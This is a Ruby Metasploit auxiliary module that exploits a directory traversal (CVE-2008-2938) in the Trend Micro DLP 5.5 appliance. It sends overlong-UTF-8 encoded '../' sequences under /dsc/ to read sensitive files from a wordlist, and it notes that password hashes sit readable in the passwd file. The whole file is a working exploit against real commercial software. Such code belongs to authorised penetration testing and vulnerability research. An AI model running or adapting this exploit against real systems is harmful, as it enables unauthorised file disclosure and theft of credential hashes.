108 lines
3.2 KiB
Ruby
108 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
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'Description' => %q{
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This module tests whether a directory traversal vulnerablity is present
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in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
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The vulnerability appears to be actually caused by the Tomcat UTF-8
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bug which is implemented in module tomcat_utf8_traversal CVE 2008-2938.
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This module simply tests for the same bug with Trend Micro specific settings.
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Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
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password hashes are stored and anonymously accessible in the passwd file.
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},
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'References' =>
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[
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[ 'URL', 'http://tomcat.apache.org/' ],
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[ 'OSVDB', '47464' ],
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[ 'OSVDB', '73447' ],
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[ 'CVE', '2008-2938' ],
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[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
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[ 'EDB', '17388' ],
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[ 'BID', '48225' ],
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],
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'DisclosureDate' => 'Jan 9 2009'
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)
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register_options(
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[
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Opt::RPORT(8443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
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])
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end
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def extract_words(wordfile)
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return [] unless wordfile && File.readable?(wordfile)
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begin
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words = File.open(wordfile, "rb") do |f|
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f.read
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end
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rescue
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return []
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end
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save_array = words.split(/\r?\n/)
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return save_array
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end
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def find_files(files)
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traversal = '/%c0%ae%c0%ae'
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => '/dsc/' + traversal*10 + files, # We know depth is 10
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}, 25)
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if (res and res.code == 200)
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print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
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@files_found << files
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elsif (res and res.code)
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vprint_status("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
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end
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end
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def run_host(ip)
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@files_found = []
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begin
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print_status("Attempting to connect to #{rhost}:#{rport}")
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => '/dsc/',
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}, 25)
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if (res)
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extract_words(datastore['SENSITIVE_FILES']).each do |files|
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find_files(files) unless files.empty?
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end
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end
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if not @files_found.empty?
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print_good("File(s) found:")
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@files_found.each do |f|
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print_good(f)
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end
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else
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print_good("No File(s) found")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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